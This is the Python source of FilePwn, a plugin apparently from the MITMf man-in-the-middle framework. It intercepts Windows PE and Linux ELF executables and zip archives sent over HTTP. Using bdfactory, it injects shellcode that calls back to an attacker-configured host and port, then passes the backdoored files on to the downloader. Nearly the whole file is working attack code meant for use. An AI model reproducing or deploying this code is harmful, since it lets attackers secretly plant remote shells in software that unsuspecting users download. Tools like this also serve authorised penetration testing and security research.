MITMf/plugins/FilePwn.py
2014-07-12 17:18:32 +02:00

288 lines
No EOL
12 KiB
Python

################################################################################################
# 99.9999999% of this code is stolen from BDFProxy - https://github.com/secretsquirrel/BDFProxy
#
# This is just a test to see if i can actually implement it correctly!! STILL WORK IN PROGRESS!!!!
#################################################################################################
import sys, os
import pefile
import zipfile
import logging
import shutil
import requests
import random
import string
from bdfactory import pebin, elfbin
from plugins.plugin import Plugin
from tempfile import mkstemp
try:
from configobj import ConfigObj
except:
sys.exit('[-] configobj not installed!')
class FilePwn(Plugin):
name = "FilePwn"
optname = "filepwn"
implements = ["handleResponse"]
has_opts = False
log_level = logging.DEBUG
desc = "Backdoor executables being sent over http using bdfactory"
def convert_to_Bool(self, aString):
if aString.lower() == 'true':
return True
elif aString.lower() == 'false':
return False
elif aString.lower() == 'none':
return None
def initialize(self,options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload',
'application/x-msdos-program', 'binary/octet-stream']
#FOR FUTURE USE
self.zipMimeTypes = ['application/x-zip-compressed', 'application/zip']
#NOT USED NOW
#self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
self.userConfig = ConfigObj('filepwn.cfg')
self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64']
self.WindowsType = self.userConfig['targets']['ALL']['WindowsType']
self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86']
self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64']
self.LinuxType = self.userConfig['targets']['ALL']['LinuxType']
self.zipblacklist = self.userConfig['ZIP']['blacklist']
print "[*] %s plugin online" % self.name
def binaryGrinder(self, binaryFile):
"""
Feed potential binaries into this function,
it will return the result PatchedBinary, False, or None
"""
with open(binaryFile, 'r+b') as f:
binaryTMPHandle = f.read()
binaryHeader = binaryTMPHandle[:4]
result = None
try:
if binaryHeader[:2] == 'MZ': # PE/COFF
pe = pefile.PE(data=binaryTMPHandle, fast_load=True)
magic = pe.OPTIONAL_HEADER.Magic
machineType = pe.FILE_HEADER.Machine
#update when supporting more than one arch
if (magic == int('20B', 16) and machineType == 0x8664 and
self.WindowsType.lower() in ['all', 'x64']):
add_section = False
cave_jumping = False
if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append':
add_section = True
elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump':
cave_jumping = True
targetFile = pebin.pebin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.WindowsIntelx64['SHELL'],
HOST=self.WindowsIntelx64['HOST'],
PORT=int(self.WindowsIntelx64['PORT']),
ADD_SECTION=add_section,
CAVE_JUMPING=cave_jumping,
IMAGE_TYPE=self.WindowsType,
PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']),
SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'],
ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']),
)
result = targetFile.run_this()
elif (machineType == 0x14c and
self.WindowsType.lower() in ['all', 'x86']):
add_section = False
cave_jumping = False
#add_section wins for cave_jumping
#default is single for BDF
if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append':
add_section = True
elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump':
cave_jumping = True
targetFile = pebin.pebin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.WindowsIntelx86['SHELL'],
HOST=self.WindowsIntelx86['HOST'],
PORT=int(self.WindowsIntelx86['PORT']),
ADD_SECTION=add_section,
CAVE_JUMPING=cave_jumping,
IMAGE_TYPE=self.WindowsType,
PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']),
SUPPLIED_SHELLCODE=self.convert_to_Bool(self.WindowsIntelx86['SUPPLIED_SHELLCODE']),
ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT'])
)
result = targetFile.run_this()
elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF
targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=True)
targetFile.support_check()
if targetFile.class_type == 0x1:
#x86
targetFile = elfbin.elfbin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.LinuxIntelx86['SHELL'],
HOST=self.LinuxIntelx86['HOST'],
PORT=int(self.LinuxIntelx86['PORT']),
SUPPLIED_SHELLCODE=self.convert_to_Bool(self.LinuxIntelx86['SUPPLIED_SHELLCODE']),
IMAGE_TYPE=self.LinuxType
)
result = targetFile.run_this()
elif targetFile.class_type == 0x2:
#x64
targetFile = elfbin.elfbin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.LinuxIntelx64['SHELL'],
HOST=self.LinuxIntelx64['HOST'],
PORT=int(self.LinuxIntelx64['PORT']),
SUPPLIED_SHELLCODE=self.convert_to_Bool(self.LinuxIntelx64['SUPPLIED_SHELLCODE']),
IMAGE_TYPE=self.LinuxType
)
result = targetFile.run_this()
return result
except Exception as e:
print 'Exception', str(e)
logging.warning("EXCEPTION IN binaryGrinder %s", str(e))
return None
def zipGrinder(self, aZipFile):
"When called will unpack and edit a Zip File and return a zip file"
print "[*] ZipFile size:", len(aZipFile) / 1024, 'KB'
if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']):
print "[!] ZipFile over allowed size"
logging.info("ZipFIle maxSize met %s", len(aZipFile))
return aZipFile
tmpRan = ''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8))
tmpDir = '/tmp/' + tmpRan
tmpFile = '/tmp/' + tmpRan + '.zip'
os.mkdir(tmpDir)
with open(tmpFile, 'w') as f:
f.write(aZipFile)
zippyfile = zipfile.ZipFile(tmpFile, 'r')
#encryption test
try:
zippyfile.testzip()
except RuntimeError as e:
if 'encrypted' in str(e):
logging.info('Encrypted zipfile found. Not patching.')
return aZipFile
print "[*] ZipFile contents and info:"
for info in zippyfile.infolist():
print "\t", info.filename, info.date_time, info.file_size
zippyfile.extractall(tmpDir)
patchCount = 0
for info in zippyfile.infolist():
print "[*] >>> Next file in zipfile:", info.filename
if os.path.isdir(tmpDir + '/' + info.filename) is True:
print info.filename, 'is a directory'
continue
#Check against keywords
keywordCheck = False
if type(self.zipblacklist) is str:
if self.zipblacklist.lower() in info.filename.lower():
keywordCheck = True
else:
for keyword in self.zipblacklist:
if keyword.lower() in info.filename.lower():
keywordCheck = True
continue
if keywordCheck is True:
print "[!] Zip blacklist enforced!"
logging.info('Zip blacklist enforced on %s', info.filename)
continue
patchResult = self.binaryGrinder(tmpDir + '/' + info.filename)
if patchResult:
patchCount += 1
file2 = "backdoored/" + os.path.basename(info.filename)
print "[*] Patching complete, adding to zip file."
shutil.copyfile(file2, tmpDir + '/' + info.filename)
logging.info("%s in zip patched, adding to zipfile", info.filename)
else:
print "[!] Patching failed"
logging.info("%s patching failed. Keeping original file in zip.", info.filename)
print '-' * 10
if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting.
logging.info("Met Zip config patchCount limit.")
break
zippyfile.close()
zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED)
print "[*] Writing to zipfile:", tmpFile
for base, dirs, files in os.walk(tmpDir):
for afile in files:
filename = os.path.join(base, afile)
print '[*] Writing filename to zipfile:', filename.replace(tmpDir + '/', '')
zipResult.write(filename, arcname=filename.replace(tmpDir + '/', ''))
zipResult.close()
#clean up
shutil.rmtree(tmpDir)
with open(tmpFile, 'rb') as f:
aZipFile = f.read()
os.remove(tmpFile)
return aZipFile
def handleResponse(self,request,data):
content_header = request.client.headers['Content-Type']
if content_header in self.zipMimeTypes:
print "[+] Detected supported zip file type!"
bd_zip = self.zipGrinder(data)
return {'request':request,'data':bd_zip}
elif content_header in self.binaryMimeTypes:
print "[+] Detected supported binary type!"
bd_binary = self.binaryGrinder(data)
return {'request':request,'data':bd_binary}
else:
print "[-] File is not of supported Content-Type: %s" % content_header
return {'request':request,'data':data}